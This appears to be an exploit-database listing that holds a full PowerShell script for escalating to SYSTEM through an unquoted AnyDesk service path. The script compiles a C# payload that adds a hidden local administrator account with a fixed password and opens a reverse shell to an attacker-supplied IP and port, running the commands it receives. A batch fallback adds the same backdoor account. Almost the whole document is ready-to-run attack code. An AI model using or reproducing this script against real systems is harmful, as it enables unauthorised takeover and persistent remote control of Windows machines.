Share
## https://sploitus.com/exploit?id=PACKETSTORM:223513
==================================================================================================================================
    | # Title     : AnyDesk v9.7.5 Unquoted Service Path Privilege Escalation to SYSTEM                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://anydesk.com/en                                                                                           |
    ==================================================================================================================================
    
    [+] Summary    : This script exploits the unquoted service path vulnerability in AnyDesk to escalate privileges to SYSTEM.
    
    [+] POC        :  
    
    <#
    .SYNOPSIS
    .EXAMPLE
    .\AnyDesk_LPE_fixed.ps1
    .\AnyDesk_LPE_fixed.ps1 -AttackerIP 10.0.0.5 -AttackerPort 4444
    .\AnyDesk_LPE_fixed.ps1 -Cleanup
    #>
    
    param(
        [string]$AttackerIP = "127.0.0.1",
        [int]$AttackerPort = 4444,
        [string]$PayloadPath = "",
        [switch]$Cleanup,
        [switch]$RestoreService,
        [switch]$Verbose
    )
    
    function Write-ColorOutput {
        param(
            [string]$Message,
            [string]$Color = "White"
        )
        $colors = @{
            "SUCCESS" = "Green"
            "ERROR" = "Red"
            "WARNING" = "Yellow"
            "INFO" = "Cyan"
            "DEBUG" = "DarkGray"
        }
        $colorName = if ($colors.ContainsKey($Color)) { $colors[$Color] } else { $Color }
        Write-Host "[$(Get-Date -Format 'HH:mm:ss')] $Message" -ForegroundColor $colorName
    }
    
    function Test-WriteAccess {
        param([string]$DirectoryPath)
        
        try {
            if (-not (Test-Path $DirectoryPath)) {
                return $false
            }
            
            $testFile = Join-Path $DirectoryPath ".write_test_$(Get-Random).tmp"
            [System.IO.File]::WriteAllText($testFile, "test")
            Remove-Item $testFile -Force -ErrorAction SilentlyContinue
            return $true
        } catch {
            return $false
        }
    }
    
    function Test-PathWritable {
        param([string]$FilePath)
        
        $directory = [System.IO.Path]::GetDirectoryName($FilePath)
        
        if (-not (Test-Path $directory)) {
            return $false
        }
    
        if (Test-WriteAccess $directory) {
            return $true
        }
    
        try {
            $acl = Get-Acl $directory -ErrorAction SilentlyContinue
            $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
            
            foreach ($access in $acl.Access) {
                if ($access.IdentityReference.Value -eq $currentUser.Value -or 
                    $access.IdentityReference.Value -eq "BUILTIN\Users") {
                    
                    if (($access.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -and
                        $access.AccessControlType -eq "Allow") {
                        return $true
                    }
                }
            }
        } catch { }
        
        return $false
    }
    
    function Test-SystemPrivileges {
        $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
    
        if ($identity.User.Value -eq "S-1-5-18") {
            return $true
        }
    
        $principal = New-Object System.Security.Principal.WindowsPrincipal($identity)
        return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
    }
    
    function Find-AnyDeskService {
        $services = Get-CimInstance -ClassName Win32_Service
        
        $possibleNames = @("anydesk", "AnyDeskService", "AnyDesk", "AD Service")
        
        foreach ($name in $possibleNames) {
            $service = $services | Where-Object { 
                $_.Name -like "*$name*" -or 
                $_.DisplayName -like "*AnyDesk*" -or
                $_.PathName -like "*AnyDesk*"
            }
            
            if ($service) {
    
                $binPath = $service.PathName -replace '^"|"$', ''
                $executable = ($binPath -split ' ')[0]
                
                if (Test-Path $executable) {
                    $versionInfo = Get-ItemProperty -Path $executable -ErrorAction SilentlyContinue
                    if ($versionInfo) {
                        $version = $versionInfo.VersionInfo.ProductVersion
                        Write-ColorOutput "Found AnyDesk version: $version" "INFO"
                    }
                }
                
                return $service
            }
        }
        
        return $null
    }
    
    function Test-UnquotedServicePath {
        param([object]$Service)
        
        if ($Service -eq $null) { return $false }
        
        $binPath = $Service.PathName
        Write-ColorOutput "Binary path: $binPath" "DEBUG"
    
        $exePath = if ($binPath -match '^"([^"]*)"') {
            $matches[1]
        } else {
            ($binPath -split ' ')[0]
        }
        
        Write-ColorOutput "Executable path: $exePath" "DEBUG"
    
        if (-not (Test-Path $exePath -PathType Leaf)) {
            Write-ColorOutput "Executable not found" "WARNING"
            return $false
        }
    
        $isUnquoted = ($exePath -match " " -and $binPath -notmatch '^".*"$')
        
        if (-not $isUnquoted) {
            return $false
        }
    
        $directory = [System.IO.Path]::GetDirectoryName($exePath)
        
        if (Test-WriteAccess $directory) {
            Write-ColorOutput "Write access confirmed to $directory" "SUCCESS"
            return $true
        }
        
        Write-ColorOutput "No write access to $directory" "WARNING"
        return $false
    }
    
    function Get-VulnerablePaths {
        param([object]$Service)
        
        $vulnerablePaths = @()
        
        if ($Service -eq $null) { return $vulnerablePaths }
        
        $binPath = $Service.PathName -replace '^"|"$', ''
        $exePath = ($binPath -split ' ')[0]
        
        if ($exePath -notmatch " ") { return $vulnerablePaths }
    
        $current = $exePath
        
        while ($current) {
            $parent = [System.IO.Path]::GetDirectoryName($current)
            $filename = [System.IO.Path]::GetFileName($current)
            
            if ([string]::IsNullOrEmpty($filename) -or $filename -eq $current) { break }
    
            if ($filename -match " " -and (Test-Path $parent -PathType Container)) {
    
                $execName = ($filename -split ' ')[0]
                $vulnPath = Join-Path $parent "$execName.exe"
    
                if (Test-PathWritable $vulnPath) {
                    Write-ColorOutput "Found vulnerable path: $vulnPath" "INFO"
                    $vulnerablePaths += $vulnPath
                }
            }
            
            $current = $parent
        }
        
        return $vulnerablePaths
    }
    
    function New-MaliciousExecutable {
        param(
            [string]$Path,
            [string]$AttackerIP,
            [int]$AttackerPort,
            [string]$CustomPayloadPath
        )
        
    
        if ($CustomPayloadPath -and (Test-Path $CustomPayloadPath)) {
            try {
                Copy-Item -Path $CustomPayloadPath -Destination $Path -Force -ErrorAction Stop
                Write-ColorOutput "Custom payload copied to $Path" "SUCCESS"
                return $true
            } catch {
                Write-ColorOutput "Failed to copy custom payload: $($_.Exception.Message)" "ERROR"
                # Fall through to create our own
            }
        }
        
        Write-ColorOutput "Creating malicious executable: $Path" "INFO"
    
        $csharpCode = @"
    using System;
    using System.Diagnostics;
    using System.Net.Sockets;
    using System.Text;
    
    class Program {
        static void Main() {
            try {
    
                ProcessStartInfo psi = new ProcessStartInfo {
                    FileName = "cmd.exe",
                    Arguments = "/c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add",
                    UseShellExecute = false,
                    RedirectStandardOutput = true,
                    CreateNoWindow = true
                };
                
                Process p = Process.Start(psi);
                p.WaitForExit();
    
                TcpClient client = new TcpClient("$AttackerIP", $AttackerPort);
                NetworkStream stream = client.GetStream();
                
                byte[] buffer = new byte[4096];
                while (true) {
                    int bytesRead = stream.Read(buffer, 0, buffer.Length);
                    if (bytesRead == 0) break;
                    
                    string command = Encoding.ASCII.GetString(buffer, 0, bytesRead);
                    ProcessStartInfo psi2 = new ProcessStartInfo {
                        FileName = "cmd.exe",
                        Arguments = "/c " + command,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        CreateNoWindow = true
                    };
                    
                    Process p2 = Process.Start(psi2);
                    string output = p2.StandardOutput.ReadToEnd();
                    p2.WaitForExit();
                    
                    stream.Write(Encoding.ASCII.GetBytes(output), 0, output.Length);
                }
            } catch { }
        }
    }
    "@
        
        # Find C# compiler
        $cscPaths = @(
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe",
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        )
        
        $cscPath = $null
        foreach ($path in $cscPaths) {
            if (Test-Path $path) {
                $cscPath = $path
                break
            }
        }
        
        if (-not $cscPath) {
            Write-ColorOutput "C# compiler not found. Creating simple batch file instead." "WARNING"
            $batchContent = "@echo off`r`nwhoami > C:\temp\anydesk_lpe.txt`r`nnet user hacker P@ssw0rd123! /add`r`nnet localgroup administrators hacker /add"
            [System.IO.File]::WriteAllText($Path, $batchContent)
            return (Test-Path $Path)
        }
    
        $tempCS = [System.IO.Path]::GetTempFileName() + ".cs"
        [System.IO.File]::WriteAllText($tempCS, $csharpCode)
        
        & $cscPath /out:"$Path" /target:exe $tempCS 2>$null
        
        Remove-Item $tempCS -Force -ErrorAction SilentlyContinue
        
        return (Test-Path $Path)
    }
    
    function Stop-ServiceSafely {
        param([string]$Name)
        
        Write-ColorOutput "Stopping $Name service..." "INFO"
        
        try {
            $service = Get-Service -Name $Name -ErrorAction SilentlyContinue
            if ($service -eq $null) { return $false }
            
            # Check dependencies
            $dependencies = Get-Service -Name $Name -DependentServices -ErrorAction SilentlyContinue
            if ($dependencies.Count -gt 0) {
                Write-ColorOutput "Service has $($dependencies.Count) dependencies" "DEBUG"
            }
    
            for ($i = 0; $i -lt 5; $i++) {
                Stop-Service -Name $Name -Force -ErrorAction SilentlyContinue
                Start-Sleep -Milliseconds 500
                
                $svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
                if ($svc -and $svc.Status -eq "Stopped") {
                    Write-ColorOutput "Service stopped" "SUCCESS"
                    return $true
                }
            }
            
            return $false
        } catch {
            Write-ColorOutput "Failed to stop service: $($_.Exception.Message)" "ERROR"
            return $false
        }
    }
    
    function Start-ServiceSafely {
        param([string]$Name)
        
        Write-ColorOutput "Starting $Name service..." "INFO"
        
        try {
            for ($i = 0; $i -lt 3; $i++) {
                Start-Service -Name $Name -ErrorAction SilentlyContinue
                Start-Sleep -Seconds 2
                
                $svc = Get-Service -Name $Name -ErrorAction SilentlyContinue
                if ($svc -and $svc.Status -eq "Running") {
                    Write-ColorOutput "Service started" "SUCCESS"
                    return $true
                }
            }
            
            return $false
        } catch {
            Write-ColorOutput "Failed to start service: $($_.Exception.Message)" "ERROR"
            return $false
        }
    }
    
    function Remove-FileWithRetry {
        param([string]$Path)
        
        if (-not (Test-Path $Path)) { return $true }
        
        for ($i = 0; $i -lt 5; $i++) {
            try {
                Remove-Item -Path $Path -Force -ErrorAction Stop
                return $true
            } catch {
                if ($i -lt 4) {
                    Start-Sleep -Seconds 1
                }
            }
        }
        
        Write-ColorOutput "Could not delete $Path (may be in use)" "WARNING"
        return $false
    }
    
    function Invoke-AnyDeskLPE {
        Write-ColorOutput @"
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  AnyDesk v9.7.5 - Unquoted Service Path Privilege Escalation     โ•‘
    โ•‘           Local Privilege Escalation to SYSTEM                   โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    "@ "INFO"
        
        Write-ColorOutput "Target: $env:COMPUTERNAME" "INFO"
        Write-ColorOutput "User: $env:USERNAME" "INFO"
    
        if (Test-SystemPrivileges) {
            Write-ColorOutput "Already running as SYSTEM!" "SUCCESS"
            return $true
        }
    
        $service = Find-AnyDeskService
        if ($service -eq $null) {
            Write-ColorOutput "AnyDesk service not found" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Service found: $($service.Name)" "SUCCESS"
    
        if (-not (Test-UnquotedServicePath -Service $service)) {
            Write-ColorOutput "Service is not vulnerable (path is quoted or no write access)" "ERROR"
            return $false
        }
    
        $vulnerablePaths = Get-VulnerablePaths -Service $service
        
        if ($vulnerablePaths.Count -eq 0) {
            Write-ColorOutput "No vulnerable paths found" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Found vulnerable paths:" "SUCCESS"
        foreach ($path in $vulnerablePaths) {
            Write-ColorOutput "  $path" "INFO"
        }
    
        $targetPath = $vulnerablePaths[0]
    
        if (-not (New-MaliciousExecutable -Path $targetPath -AttackerIP $AttackerIP -AttackerPort $AttackerPort -CustomPayloadPath $PayloadPath)) {
            Write-ColorOutput "Failed to create malicious executable" "ERROR"
            return $false
        }
        
        Write-ColorOutput "Malicious executable created at: $targetPath" "SUCCESS"
    
        if (Stop-ServiceSafely -Name $service.Name) {
            Write-ColorOutput "Payload trigger initiated" "SUCCESS"
    
            Start-Sleep -Seconds 5
    
            if ($RestoreService) {
                Start-ServiceSafely -Name $service.Name
            }
        } else {
            Write-ColorOutput "Could not stop service. Manual trigger may be needed." "WARNING"
        }
        
        Write-ColorOutput "Exploit completed" "SUCCESS"
        return $true
    }
    
    function Invoke-Cleanup {
        Write-ColorOutput "Cleaning up..." "INFO"
        $pathsToClean = @(
            "C:\Program.exe",
            "C:\Program Files.exe",
            "C:\Program Files (x86)\AnyDesk\Program.exe"
        )
        foreach ($path in $pathsToClean) {
            if (Test-Path $path) {
                Remove-FileWithRetry -Path $path
            }
        }
        Write-ColorOutput "Cleanup completed" "SUCCESS"
    }
    $result = Invoke-AnyDeskLPE
    
    if ($Cleanup) {
        Invoke-Cleanup
    }
    exit (-not $result)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================